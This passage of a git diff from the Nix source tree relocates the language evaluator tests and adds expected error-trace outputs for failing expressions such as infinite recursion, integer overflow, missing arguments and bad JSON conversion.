} + point = { x = 1, y = 2 } + animal = { type.name = "pug" } + + [[products]] + name = "Hammer" + sku = 738594937 + + [[products]] + + [[products]] + name = "Nail" + sku = 284758393 + color = "gray" + + [[fruit]] + name = "apple" + + [fruit.physical] + color = "red" + shape = "round" + + [[fruit.variety]] + name = "red delicious" + + [[fruit.variety]] + name = "granny smith" + + [[fruit]] + name = "banana" + + [[fruit.variety]] + name = "plantain" +'' diff --git a/tests/functional/lang/eval-fail-hashfile-missing.err.exp b/tests/functional/lang/eval-fail-hashfile-missing.err.exp new file mode 100644 index 000000000..1e4653927 --- /dev/null +++ b/tests/functional/lang/eval-fail-hashfile-missing.err.exp @@ -0,0 +1,13 @@ +error: + … while calling the 'toString' builtin + at /pwd/lang/eval-fail-hashfile-missing.nix:4:3: + 3| in + 4| toString (builtins.concatLists (map (hash: map (builtins.hashFile hash) paths) ["md5" "sha1" "sha256" "sha512"])) + | ^ + 5| + + … while evaluating the first argument passed to builtins.toString + + … while calling the 'hashFile' builtin + + error: opening file '/pwd/lang/this-file-is-definitely-not-there-7392097': No such file or directory diff --git a/tests/lang/eval-fail-hashfile-missing.nix b/tests/functional/lang/eval-fail-hashfile-missing.nix similarity index 100% rename from tests/lang/eval-fail-hashfile-missing.nix rename to tests/functional/lang/eval-fail-hashfile-missing.nix diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp b/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp new file mode 100644 index 000000000..712dd75a8 --- /dev/null +++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp @@ -0,0 +1,38 @@ +error: + … from call site + at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:1: + 1| (x: x x) (x: x x) + | ^ + 2| + + … while calling anonymous lambda + at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:2: + 1| (x: x x) (x: x x) + | ^ + 2| + + … from call site + at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:5: + 1| (x: x x) (x: x x) + | ^ + 2| + + … while calling anonymous lambda + at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:11: + 1| (x: x x) (x: x x) + | ^ + 2| + + … from call site + at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:14: + 1| (x: x x) (x: x x) + | ^ + 2| + + (197 duplicate frames omitted) + + error: stack overflow; max-call-depth exceeded + at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:14: + 1| (x: x x) (x: x x) + | ^ + 2| diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags b/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags new file mode 100644 index 000000000..59e20ec9c --- /dev/null +++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags @@ -0,0 +1 @@ +--max-call-depth 100 \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.nix b/tests/functional/lang/eval-fail-infinite-recursion-lambda.nix new file mode 100644 index 000000000..dd0a8bf2e --- /dev/null +++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.nix @@ -0,0 +1 @@ +(x: x x) (x: x x) diff --git a/tests/functional/lang/eval-fail-list.err.exp b/tests/functional/lang/eval-fail-list.err.exp new file mode 100644 index 000000000..d492f8bd2 --- /dev/null +++ b/tests/functional/lang/eval-fail-list.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating one of the elements to concatenate + at /pwd/lang/eval-fail-list.nix:1:2: + 1| 8++1 + | ^ + 2| + + error: expected a list but found an integer: 8 diff --git a/tests/functional/lang/eval-fail-list.nix b/tests/functional/lang/eval-fail-list.nix new file mode 100644 index 000000000..fa749f2f7 --- /dev/null +++ b/tests/functional/lang/eval-fail-list.nix @@ -0,0 +1 @@ +8++1 diff --git a/tests/functional/lang/eval-fail-missing-arg.err.exp b/tests/functional/lang/eval-fail-missing-arg.err.exp new file mode 100644 index 000000000..3b162fe1b --- /dev/null +++ b/tests/functional/lang/eval-fail-missing-arg.err.exp @@ -0,0 +1,12 @@ +error: + … from call site + at /pwd/lang/eval-fail-missing-arg.nix:1:1: + 1| ({x, y, z}: x + y + z) {x = "foo"; z = "bar";} + | ^ + 2| + + error: function 'anonymous lambda' called without required argument 'y' + at /pwd/lang/eval-fail-missing-arg.nix:1:2: + 1| ({x, y, z}: x + y + z) {x = "foo"; z = "bar";} + | ^ + 2| diff --git a/tests/lang/eval-fail-missing-arg.nix b/tests/functional/lang/eval-fail-missing-arg.nix similarity index 100% rename from tests/lang/eval-fail-missing-arg.nix rename to tests/functional/lang/eval-fail-missing-arg.nix diff --git a/tests/functional/lang/eval-fail-mutual-recursion.err.exp b/tests/functional/lang/eval-fail-mutual-recursion.err.exp new file mode 100644 index 000000000..c034afcd5 --- /dev/null +++ b/tests/functional/lang/eval-fail-mutual-recursion.err.exp @@ -0,0 +1,64 @@ +error: + … from call site + at /pwd/lang/eval-fail-mutual-recursion.nix:36:3: + 35| in + 36| throwAfterA true 10 + | ^ + 37| + + … while calling 'throwAfterA' + at /pwd/lang/eval-fail-mutual-recursion.nix:29:26: + 28| + 29| throwAfterA = recurse: n: + | ^ + 30| if n > 0 + + … from call site + at /pwd/lang/eval-fail-mutual-recursion.nix:31:10: + 30| if n > 0 + 31| then throwAfterA recurse (n - 1) + | ^ + 32| else if recurse + + (19 duplicate frames omitted) + + … from call site + at /pwd/lang/eval-fail-mutual-recursion.nix:33:10: + 32| else if recurse + 33| then throwAfterB true 10 + | ^ + 34| else throw "Uh oh!"; + + … while calling 'throwAfterB' + at /pwd/lang/eval-fail-mutual-recursion.nix:22:26: + 21| let + 22| throwAfterB = recurse: n: + | ^ + 23| if n > 0 + + … from call site + at /pwd/lang/eval-fail-mutual-recursion.nix:24:10: + 23| if n > 0 + 24| then throwAfterB recurse (n - 1) + | ^ + 25| else if recurse + + (19 duplicate frames omitted) + + … from call site + at /pwd/lang/eval-fail-mutual-recursion.nix:26:10: + 25| else if recurse + 26| then throwAfterA false 10 + | ^ + 27| else throw "Uh oh!"; + + (21 duplicate frames omitted) + + … while calling the 'throw' builtin + at /pwd/lang/eval-fail-mutual-recursion.nix:34:10: + 33| then throwAfterB true 10 + 34| else throw "Uh oh!"; + | ^ + 35| in + + error: Uh oh! diff --git a/tests/functional/lang/eval-fail-mutual-recursion.nix b/tests/functional/lang/eval-fail-mutual-recursion.nix new file mode 100644 index 000000000..d090d3158 --- /dev/null +++ b/tests/functional/lang/eval-fail-mutual-recursion.nix @@ -0,0 +1,36 @@ +# Check that stack frame deduplication only affects consecutive intervals, and +# that they are reported independently of any preceding sections, even if +# they're indistinguishable. +# +# In terms of the current implementation, we check that we clear the set of +# "seen frames" after eliding a group of frames. +# +# Suppose we have: +# - 10 frames in a function A +# - 10 frames in a function B +# - 10 frames in a function A +# +# We want to output: +# - a few frames of A (skip the rest) +# - a few frames of B (skip the rest) +# - a few frames of A (skip the rest) +# +# If we implemented this in the naive manner, we'd instead get: +# - a few frames of A (skip the rest) +# - a few frames of B (skip the rest, _and_ skip the remaining frames of A) +let + throwAfterB = recurse: n: + if n > 0 + then throwAfterB recurse (n - 1) + else if recurse + then throwAfterA false 10 + else throw "Uh oh!"; + + throwAfterA = recurse: n: + if n > 0 + then throwAfterA recurse (n - 1) + else if recurse + then throwAfterB true 10 + else throw "Uh oh!"; +in + throwAfterA true 10 diff --git a/tests/functional/lang/eval-fail-nested-list-items.err.exp b/tests/functional/lang/eval-fail-nested-list-items.err.exp new file mode 100644 index 000000000..90d439061 --- /dev/null +++ b/tests/functional/lang/eval-fail-nested-list-items.err.exp @@ -0,0 +1,9 @@ +error: + … while evaluating a path segment + at /pwd/lang/eval-fail-nested-list-items.nix:11:6: + 10| + 11| "" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v) + | ^ + 12| + + error: cannot coerce a list to a string: [ [ 1 2 3 4 5 6 7 8 ] [ 1 «3 items elided» ] ] diff --git a/tests/functional/lang/eval-fail-nested-list-items.nix b/tests/functional/lang/eval-fail-nested-list-items.nix new file mode 100644 index 000000000..af45b1dd4 --- /dev/null +++ b/tests/functional/lang/eval-fail-nested-list-items.nix @@ -0,0 +1,11 @@ +# This reproduces https://github.com/NixOS/nix/issues/10993, for lists +# $ nix run nix/2.23.1 -- eval --expr '"" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v)' +# error: +# … while evaluating a path segment +# at «string»:1:6: +# 1| "" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v) +# | ^ +# +# error: cannot coerce a list to a string: [ [ 1 2 3 4 5 6 7 8 ] [ 1 «4294967290 items elided» ] ] + +"" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v) diff --git a/tests/functional/lang/eval-fail-nonexist-path.err.exp b/tests/functional/lang/eval-fail-nonexist-path.err.exp new file mode 100644 index 000000000..a287067cd --- /dev/null +++ b/tests/functional/lang/eval-fail-nonexist-path.err.exp @@ -0,0 +1 @@ +error: path '/pwd/lang/fnord' does not exist diff --git a/tests/lang/eval-fail-nonexist-path.nix b/tests/functional/lang/eval-fail-nonexist-path.nix similarity index 100% rename from tests/lang/eval-fail-nonexist-path.nix rename to tests/functional/lang/eval-fail-nonexist-path.nix diff --git a/tests/functional/lang/eval-fail-not-throws.err.exp b/tests/functional/lang/eval-fail-not-throws.err.exp new file mode 100644 index 000000000..fc81f7277 --- /dev/null +++ b/tests/functional/lang/eval-fail-not-throws.err.exp @@ -0,0 +1,14 @@ +error: + … in the argument of the not operator + at /pwd/lang/eval-fail-not-throws.nix:1:4: + 1| ! (throw "uh oh!") + | ^ + 2| + + … while calling the 'throw' builtin + at /pwd/lang/eval-fail-not-throws.nix:1:4: + 1| ! (throw "uh oh!") + | ^ + 2| + + error: uh oh! diff --git a/tests/functional/lang/eval-fail-not-throws.nix b/tests/functional/lang/eval-fail-not-throws.nix new file mode 100644 index 000000000..a74ce4ebe --- /dev/null +++ b/tests/functional/lang/eval-fail-not-throws.nix @@ -0,0 +1 @@ +! (throw "uh oh!") diff --git a/tests/functional/lang/eval-fail-overflowing-add.err.exp b/tests/functional/lang/eval-fail-overflowing-add.err.exp new file mode 100644 index 000000000..6458cf1c9 --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-add.err.exp @@ -0,0 +1,6 @@ +error: integer overflow in adding 9223372036854775807 + 1 + at /pwd/lang/eval-fail-overflowing-add.nix:4:8: + 3| b = 1; + 4| in a + b + | ^ + 5| diff --git a/tests/functional/lang/eval-fail-overflowing-add.nix b/tests/functional/lang/eval-fail-overflowing-add.nix new file mode 100644 index 000000000..24258fc20 --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-add.nix @@ -0,0 +1,4 @@ +let + a = 9223372036854775807; + b = 1; +in a + b diff --git a/tests/functional/lang/eval-fail-overflowing-div.err.exp b/tests/functional/lang/eval-fail-overflowing-div.err.exp new file mode 100644 index 000000000..8ce07d4d6 --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-div.err.exp @@ -0,0 +1,23 @@ +error: + … while calling the 'seq' builtin + at /pwd/lang/eval-fail-overflowing-div.nix:7:4: + 6| b = -1; + 7| in builtins.seq intMin (builtins.seq b (intMin / b)) + | ^ + 8| + + … while calling the 'seq' builtin + at /pwd/lang/eval-fail-overflowing-div.nix:7:25: + 6| b = -1; + 7| in builtins.seq intMin (builtins.seq b (intMin / b)) + | ^ + 8| + + … while calling the 'div' builtin + at /pwd/lang/eval-fail-overflowing-div.nix:7:48: + 6| b = -1; + 7| in builtins.seq intMin (builtins.seq b (intMin / b)) + | ^ + 8| + + error: integer overflow in dividing -9223372036854775808 / -1 diff --git a/tests/functional/lang/eval-fail-overflowing-div.nix b/tests/functional/lang/eval-fail-overflowing-div.nix new file mode 100644 index 000000000..44fbe9d7e --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-div.nix @@ -0,0 +1,7 @@ +let + # lol, this has to be written as an expression like this because negative + # numbers use unary negation rather than parsing directly, and 2**63 is out + # of range + intMin = -9223372036854775807 - 1; + b = -1; +in builtins.seq intMin (builtins.seq b (intMin / b)) diff --git a/tests/functional/lang/eval-fail-overflowing-mul.err.exp b/tests/functional/lang/eval-fail-overflowing-mul.err.exp new file mode 100644 index 000000000..f42b39d4d --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-mul.err.exp @@ -0,0 +1,16 @@ +error: + … while calling the 'mul' builtin + at /pwd/lang/eval-fail-overflowing-mul.nix:3:10: + 2| a = 4294967297; + 3| in a * a * a + | ^ + 4| + + … while calling the 'mul' builtin + at /pwd/lang/eval-fail-overflowing-mul.nix:3:6: + 2| a = 4294967297; + 3| in a * a * a + | ^ + 4| + + error: integer overflow in multiplying 4294967297 * 4294967297 diff --git a/tests/functional/lang/eval-fail-overflowing-mul.nix b/tests/functional/lang/eval-fail-overflowing-mul.nix new file mode 100644 index 000000000..6081d9c7b --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-mul.nix @@ -0,0 +1,3 @@ +let + a = 4294967297; +in a * a * a diff --git a/tests/functional/lang/eval-fail-overflowing-sub.err.exp b/tests/functional/lang/eval-fail-overflowing-sub.err.exp new file mode 100644 index 000000000..66a3a03f8 --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-sub.err.exp @@ -0,0 +1,9 @@ +error: + … while calling the 'sub' builtin + at /pwd/lang/eval-fail-overflowing-sub.nix:4:6: + 3| b = 2; + 4| in a - b + | ^ + 5| + + error: integer overflow in subtracting -9223372036854775807 - 2 diff --git a/tests/functional/lang/eval-fail-overflowing-sub.nix b/tests/functional/lang/eval-fail-overflowing-sub.nix new file mode 100644 index 000000000..229b8c6d2 --- /dev/null +++ b/tests/functional/lang/eval-fail-overflowing-sub.nix @@ -0,0 +1,4 @@ +let + a = -9223372036854775807; + b = 2; +in a - b diff --git a/tests/functional/lang/eval-fail-path-slash.err.exp b/tests/functional/lang/eval-fail-path-slash.err.exp new file mode 100644 index 000000000..e3531d352 --- /dev/null +++ b/tests/functional/lang/eval-fail-path-slash.err.exp @@ -0,0 +1,6 @@ +error: path has a trailing slash + at /pwd/lang/eval-fail-path-slash.nix:6:12: + 5| # and https://nixos.org/nix-dev/2016-June/020829.html + 6| /nix/store/ + | ^ + 7| diff --git a/tests/lang/eval-fail-path-slash.nix b/tests/functional/lang/eval-fail-path-slash.nix similarity index 100% rename from tests/lang/eval-fail-path-slash.nix rename to tests/functional/lang/eval-fail-path-slash.nix diff --git a/tests/functional/lang/eval-fail-pipe-operators.err.exp b/tests/functional/lang/eval-fail-pipe-operators.err.exp new file mode 100644 index 000000000..49f3fa8ad --- /dev/null +++ b/tests/functional/lang/eval-fail-pipe-operators.err.exp @@ -0,0 +1,5 @@ +error: experimental Nix feature 'pipe-operators' is disabled; add '--extra-experimental-features pipe-operators' to enable it + at /pwd/lang/eval-fail-pipe-operators.nix:1:3: + 1| 1 |> 2 + | ^ + 2| diff --git a/tests/functional/lang/eval-fail-pipe-operators.nix b/tests/functional/lang/eval-fail-pipe-operators.nix new file mode 100644 index 000000000..433e0fd7f --- /dev/null +++ b/tests/functional/lang/eval-fail-pipe-operators.nix @@ -0,0 +1 @@ +1 |> 2 diff --git a/tests/functional/lang/eval-fail-recursion.err.exp b/tests/functional/lang/eval-fail-recursion.err.exp new file mode 100644 index 000000000..19380dc65 --- /dev/null +++ b/tests/functional/lang/eval-fail-recursion.err.exp @@ -0,0 +1,12 @@ +error: + … in the right operand of the update (//) operator + at /pwd/lang/eval-fail-recursion.nix:1:12: + 1| let a = {} // a; in a.foo + | ^ + 2| + + error: infinite recursion encountered + at /pwd/lang/eval-fail-recursion.nix:1:15: + 1| let a = {} // a; in a.foo + | ^ + 2| diff --git a/tests/functional/lang/eval-fail-recursion.nix b/tests/functional/lang/eval-fail-recursion.nix new file mode 100644 index 000000000..075b5ed06 --- /dev/null +++ b/tests/functional/lang/eval-fail-recursion.nix @@ -0,0 +1 @@ +let a = {} // a; in a.foo diff --git a/tests/functional/lang/eval-fail-remove.err.exp b/tests/functional/lang/eval-fail-remove.err.exp new file mode 100644 index 000000000..292b3c3f3 --- /dev/null +++ b/tests/functional/lang/eval-fail-remove.err.exp @@ -0,0 +1,15 @@ +error: + … while evaluating the attribute 'body' + at /pwd/lang/eval-fail-remove.nix:4:3: + 3| + 4| body = (removeAttrs attrs ["x"]).x; + | ^ + 5| } + + error: attribute 'x' missing + at /pwd/lang/eval-fail-remove.nix:4:10: + 3| + 4| body = (removeAttrs attrs ["x"]).x; + | ^ + 5| } + Did you mean y? diff --git a/tests/lang/eval-fail-remove.nix b/tests/functional/lang/eval-fail-remove.nix similarity index 100% rename from tests/lang/eval-fail-remove.nix rename to tests/functional/lang/eval-fail-remove.nix diff --git a/tests/functional/lang/eval-fail-scope-5.err.exp b/tests/functional/lang/eval-fail-scope-5.err.exp new file mode 100644 index 000000000..b0b05cad7 --- /dev/null +++ b/tests/functional/lang/eval-fail-scope-5.err.exp @@ -0,0 +1,28 @@ +error: + … while evaluating the attribute 'body' + at /pwd/lang/eval-fail-scope-5.nix:8:3: + 7| + 8| body = f {}; + | ^ + 9| + + … from call site + at /pwd/lang/eval-fail-scope-5.nix:8:10: + 7| + 8| body = f {}; + | ^ + 9| + + … while calling 'f' + at /pwd/lang/eval-fail-scope-5.nix:6:7: + 5| + 6| f = {x ? y, y ? x}: x + y; + | ^ + 7| + + error: infinite recursion encountered + at /pwd/lang/eval-fail-scope-5.nix:6:12: + 5| + 6| f = {x ? y, y ? x}: x + y; + | ^ + 7| diff --git a/tests/lang/eval-fail-scope-5.nix b/tests/functional/lang/eval-fail-scope-5.nix similarity index 100% rename from tests/lang/eval-fail-scope-5.nix rename to tests/functional/lang/eval-fail-scope-5.nix diff --git a/tests/functional/lang/eval-fail-seq.err.exp b/tests/functional/lang/eval-fail-seq.err.exp new file mode 100644 index 000000000..3e3d71b15 --- /dev/null +++ b/tests/functional/lang/eval-fail-seq.err.exp @@ -0,0 +1,14 @@ +error: + … while calling the 'seq' builtin + at /pwd/lang/eval-fail-seq.nix:1:1: + 1| builtins.seq (abort "foo") 2 + | ^ + 2| + + … while calling the 'abort' builtin + at /pwd/lang/eval-fail-seq.nix:1:15: + 1| builtins.seq (abort "foo") 2 + | ^ + 2| + + error: evaluation aborted with the following error message: 'foo' diff --git a/tests/lang/eval-fail-seq.nix b/tests/functional/lang/eval-fail-seq.nix similarity index 100% rename from tests/lang/eval-fail-seq.nix rename to tests/functional/lang/eval-fail-seq.nix diff --git a/tests/functional/lang/eval-fail-set-override.err.exp b/tests/functional/lang/eval-fail-set-override.err.exp new file mode 100644 index 000000000..9006ca4e6 --- /dev/null +++ b/tests/functional/lang/eval-fail-set-override.err.exp @@ -0,0 +1,4 @@ +error: + … while evaluating the `__overrides` attribute + + error: expected a set but found an integer: 1 diff --git a/tests/functional/lang/eval-fail-set-override.nix b/tests/functional/lang/eval-fail-set-override.nix new file mode 100644 index 000000000..03551c186 --- /dev/null +++ b/tests/functional/lang/eval-fail-set-override.nix @@ -0,0 +1 @@ +rec { __overrides = 1; } diff --git a/tests/functional/lang/eval-fail-set.err.exp b/tests/functional/lang/eval-fail-set.err.exp new file mode 100644 index 000000000..6dd646e11 --- /dev/null +++ b/tests/functional/lang/eval-fail-set.err.exp @@ -0,0 +1,5 @@ +error: undefined variable 'x' + at /pwd/lang/eval-fail-set.nix:1:3: + 1| 8.x + | ^ + 2| diff --git a/tests/functional/lang/eval-fail-set.nix b/tests/functional/lang/eval-fail-set.nix new file mode 100644 index 000000000..c6b7980b6 --- /dev/null +++ b/tests/functional/lang/eval-fail-set.nix @@ -0,0 +1 @@ +8.x diff --git a/tests/functional/lang/eval-fail-substring.err.exp b/tests/functional/lang/eval-fail-substring.err.exp new file mode 100644 index 000000000..0457a826e --- /dev/null +++ b/tests/functional/lang/eval-fail-substring.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'substring' builtin + at /pwd/lang/eval-fail-substring.nix:1:1: + 1| builtins.substring (builtins.sub 0 1) 1 "x" + | ^ + 2| + + error: negative start position in 'substring' diff --git a/tests/lang/eval-fail-substring.nix b/tests/functional/lang/eval-fail-substring.nix similarity index 100% rename from tests/lang/eval-fail-substring.nix rename to tests/functional/lang/eval-fail-substring.nix diff --git a/tests/functional/lang/eval-fail-to-path.err.exp b/tests/functional/lang/eval-fail-to-path.err.exp new file mode 100644 index 000000000..d6b17be99 --- /dev/null +++ b/tests/functional/lang/eval-fail-to-path.err.exp @@ -0,0 +1,10 @@ +error: + … while calling the 'toPath' builtin + at /pwd/lang/eval-fail-to-path.nix:1:1: + 1| builtins.toPath "foo/bar" + | ^ + 2| + + … while evaluating the first argument passed to builtins.toPath + + error: string 'foo/bar' doesn't represent an absolute path diff --git a/tests/lang/eval-fail-to-path.nix b/tests/functional/lang/eval-fail-to-path.nix similarity index 100% rename from tests/lang/eval-fail-to-path.nix rename to tests/functional/lang/eval-fail-to-path.nix diff --git a/tests/functional/lang/eval-fail-toJSON.err.exp b/tests/functional/lang/eval-fail-toJSON.err.exp new file mode 100644 index 000000000..ad267711b --- /dev/null +++ b/tests/functional/lang/eval-fail-toJSON.err.exp @@ -0,0 +1,50 @@ +error: + … while calling the 'toJSON' builtin + at /pwd/lang/eval-fail-toJSON.nix:1:1: + 1| builtins.toJSON { + | ^ + 2| a.b = [ + + … while evaluating attribute 'a' + at /pwd/lang/eval-fail-toJSON.nix:2:3: + 1| builtins.toJSON { + 2| a.b = [ + | ^ + 3| true + + … while evaluating attribute 'b' + at /pwd/lang/eval-fail-toJSON.nix:2:3: + 1| builtins.toJSON { + 2| a.b = [ + | ^ + 3| true + + … while evaluating list element at index 3 + at /pwd/lang/eval-fail-toJSON.nix:2:3: + 1| builtins.toJSON { + 2| a.b = [ + | ^ + 3| true + + … while evaluating attribute 'c' + at /pwd/lang/eval-fail-toJSON.nix:7:7: + 6| { + 7| c.d = throw "hah no"; + | ^ + 8| } + + … while evaluating attribute 'd' + at /pwd/lang/eval-fail-toJSON.nix:7:7: + 6| { + 7| c.d = throw "hah no"; + | ^ + 8| } + + … while calling the 'throw' builtin + at /pwd/lang/eval-fail-toJSON.nix:7:13: + 6| { + 7| c.d = throw "hah no"; + | ^ + 8| } + + error: hah no diff --git a/tests/functional/lang/eval-fail-toJSON.nix b/tests/functional/lang/eval-fail-toJSON.nix new file mode 100644 index 000000000..8112e1c1f --- /dev/null +++ b/tests/functional/lang/eval-fail-toJSON.nix @@ -0,0 +1,10 @@ +builtins.toJSON { + a.b = [ + true + false + "it's a bird" + { + c.d = throw "hah no"; + } + ]; +} diff --git a/tests/functional/lang/eval-fail-undeclared-arg.err.exp b/tests/functional/lang/eval-fail-undeclared-arg.err.exp new file mode 100644 index 000000000..6e13a138e --- /dev/null +++ b/tests/functional/lang/eval-fail-undeclared-arg.err.exp @@ -0,0 +1,13 @@ +error: + … from call site + at /pwd/lang/eval-fail-undeclared-arg.nix:1:1: + 1| ({x, z}: x + z) {x = "foo"; y = "bla"; z = "bar";} + | ^ + 2| + + error: function 'anonymous lambda' called with unexpected argument 'y' + at /pwd/lang/eval-fail-undeclared-arg.nix:1:2: + 1| ({x, z}: x + z) {x = "foo"; y = "bla"; z = "bar";} + | ^ + 2| + Did you mean one of x or z? diff --git a/tests/lang/eval-fail-undeclared-arg.nix b/tests/functional/lang/eval-fail-undeclared-arg.nix similarity index 100% rename from tests/lang/eval-fail-undeclared-arg.nix rename to tests/functional/lang/eval-fail-undeclared-arg.nix diff --git a/tests/functional/lang/eval-fail-using-set-as-attr-name.err.exp b/tests/functional/lang/eval-fail-using-set-as-attr-name.err.exp new file mode 100644 index 000000000..4326c9650 --- /dev/null +++ b/tests/functional/lang/eval-fail-using-set-as-attr-name.err.exp @@ -0,0 +1,14 @@ +error: + … while evaluating an attribute name + at /pwd/lang/eval-fail-using-set-as-attr-name.nix:5:10: + 4| in + 5| attr.${key} + | ^ + 6| + + error: expected a string but found a set: { } + at /pwd/lang/eval-fail-using-set-as-attr-name.nix:5:10: + 4| in + 5| attr.${key} + | ^ + 6| diff --git a/tests/functional/lang/eval-fail-using-set-as-attr-name.nix b/tests/functional/lang/eval-fail-using-set-as-attr-name.nix new file mode 100644 index 000000000..48e071a41 --- /dev/null +++ b/tests/functional/lang/eval-fail-using-set-as-attr-name.nix @@ -0,0 +1,5 @@ +let + attr = {foo = "bar";}; + key = {}; +in + attr.${key} diff --git a/tests/lang/eval-okay-any-all.exp b/tests/functional/lang/eval-okay-any-all.exp similarity index 100% rename from tests/lang/eval-okay-any-all.exp rename to tests/functional/lang/eval-okay-any-all.exp diff --git a/tests/lang/eval-okay-any-all.nix b/tests/functional/lang/eval-okay-any-all.nix similarity index 100% rename from tests/lang/eval-okay-any-all.nix rename to tests/functional/lang/eval-okay-any-all.nix diff --git a/tests/lang/eval-okay-arithmetic.exp b/tests/functional/lang/eval-okay-arithmetic.exp similarity index 100% rename from tests/lang/eval-okay-arithmetic.exp rename to tests/functional/lang/eval-okay-arithmetic.exp diff --git a/tests/lang/eval-okay-arithmetic.nix b/tests/functional/lang/eval-okay-arithmetic.nix similarity index 100% rename from tests/lang/eval-okay-arithmetic.nix rename to tests/functional/lang/eval-okay-arithmetic.nix diff --git a/tests/lang/eval-okay-attrnames.exp b/tests/functional/lang/eval-okay-attrnames.exp similarity index 100% rename from tests/lang/eval-okay-attrnames.exp rename to tests/functional/lang/eval-okay-attrnames.exp diff --git a/tests/lang/eval-okay-attrnames.nix b/tests/functional/lang/eval-okay-attrnames.nix similarity index 100% rename from tests/lang/eval-okay-attrnames.nix rename to tests/functional/lang/eval-okay-attrnames.nix diff --git a/tests/lang/eval-okay-attrs.exp b/tests/functional/lang/eval-okay-attrs.exp similarity index 100% rename from tests/lang/eval-okay-attrs.exp rename to tests/functional/lang/eval-okay-attrs.exp diff --git a/tests/lang/eval-okay-attrs.nix b/tests/functional/lang/eval-okay-attrs.nix similarity index 100% rename from tests/lang/eval-okay-attrs.nix rename to tests/functional/lang/eval-okay-attrs.nix diff --git a/tests/lang/eval-okay-attrs2.exp b/tests/functional/lang/eval-okay-attrs2.exp similarity index 100% rename from tests/lang/eval-okay-attrs2.exp rename to tests/functional/lang/eval-okay-attrs2.exp diff --git a/tests/lang/eval-okay-attrs2.nix b/tests/functional/lang/eval-okay-attrs2.nix similarity index 100% rename from tests/lang/eval-okay-attrs2.nix rename to tests/functional/lang/eval-okay-attrs2.nix diff --git a/tests/lang/eval-okay-attrs3.exp b/tests/functional/lang/eval-okay-attrs3.exp similarity index 100% rename from tests/lang/eval-okay-attrs3.exp rename to tests/functional/lang/eval-okay-attrs3.exp diff --git a/tests/lang/eval-okay-attrs3.nix b/tests/functional/lang/eval-okay-attrs3.nix similarity index 100% rename from tests/lang/eval-okay-attrs3.nix rename to tests/functional/lang/eval-okay-attrs3.nix diff --git a/tests/lang/eval-okay-attrs4.exp b/tests/functional/lang/eval-okay-attrs4.exp similarity index 100% rename from tests/lang/eval-okay-attrs4.exp rename to tests/functional/lang/eval-okay-attrs4.exp diff --git a/tests/lang/eval-okay-attrs4.nix b/tests/functional/lang/eval-okay-attrs4.nix similarity index 100% rename from tests/lang/eval-okay-attrs4.nix rename to tests/functional/lang/eval-okay-attrs4.nix diff --git a/tests/lang/eval-okay-attrs5.exp b/tests/functional/lang/eval-okay-attrs5.exp similarity index 100% rename from tests/lang/eval-okay-attrs5.exp rename to tests/functional/lang/eval-okay-attrs5.exp diff --git a/tests/lang/eval-okay-attrs5.nix b/tests/functional/lang/eval-okay-attrs5.nix similarity index 100% rename from tests/lang/eval-okay-attrs5.nix rename to tests/functional/lang/eval-okay-attrs5.nix diff --git a/tests/lang/eval-okay-attrs6.exp b/tests/functional/lang/eval-okay-attrs6.exp similarity index 100% rename from tests/lang/eval-okay-attrs6.exp rename to tests/functional/lang/eval-okay-attrs6.exp diff --git a/tests/lang/eval-okay-attrs6.nix b/tests/functional/lang/eval-okay-attrs6.nix similarity index 100% rename from tests/lang/eval-okay-attrs6.nix rename to tests/functional/lang/eval-okay-attrs6.nix diff --git a/tests/lang/eval-okay-autoargs.exp b/tests/functional/lang/eval-okay-autoargs.exp similarity index 100% rename from tests/lang/eval-okay-autoargs.exp rename to tests/functional/lang/eval-okay-autoargs.exp diff --git a/tests/lang/eval-okay-autoargs.flags b/tests/functional/lang/eval-okay-autoargs.flags similarity index 100% rename from tests/lang/eval-okay-autoargs.flags rename to tests/functional/lang/eval-okay-autoargs.flags diff --git a/tests/lang/eval-okay-autoargs.nix b/tests/functional/lang/eval-okay-autoargs.nix similarity index 100% rename from tests/lang/eval-okay-autoargs.nix rename to tests/functional/lang/eval-okay-autoargs.nix diff --git a/tests/lang/eval-okay-backslash-newline-1.exp b/tests/functional/lang/eval-okay-backslash-newline-1.exp similarity index 100% rename from tests/lang/eval-okay-backslash-newline-1.exp rename to tests/functional/lang/eval-okay-backslash-newline-1.exp diff --git a/tests/lang/eval-okay-backslash-newline-1.nix b/tests/functional/lang/eval-okay-backslash-newline-1.nix similarity index 100% rename from tests/lang/eval-okay-backslash-newline-1.nix rename to tests/functional/lang/eval-okay-backslash-newline-1.nix diff --git a/tests/lang/eval-okay-backslash-newline-2.exp b/tests/functional/lang/eval-okay-backslash-newline-2.exp similarity index 100% rename from tests/lang/eval-okay-backslash-newline-2.exp rename to tests/functional/lang/eval-okay-backslash-newline-2.exp diff --git a/tests/lang/eval-okay-backslash-newline-2.nix b/tests/functional/lang/eval-okay-backslash-newline-2.nix similarity index 100% rename from tests/lang/eval-okay-backslash-newline-2.nix rename to 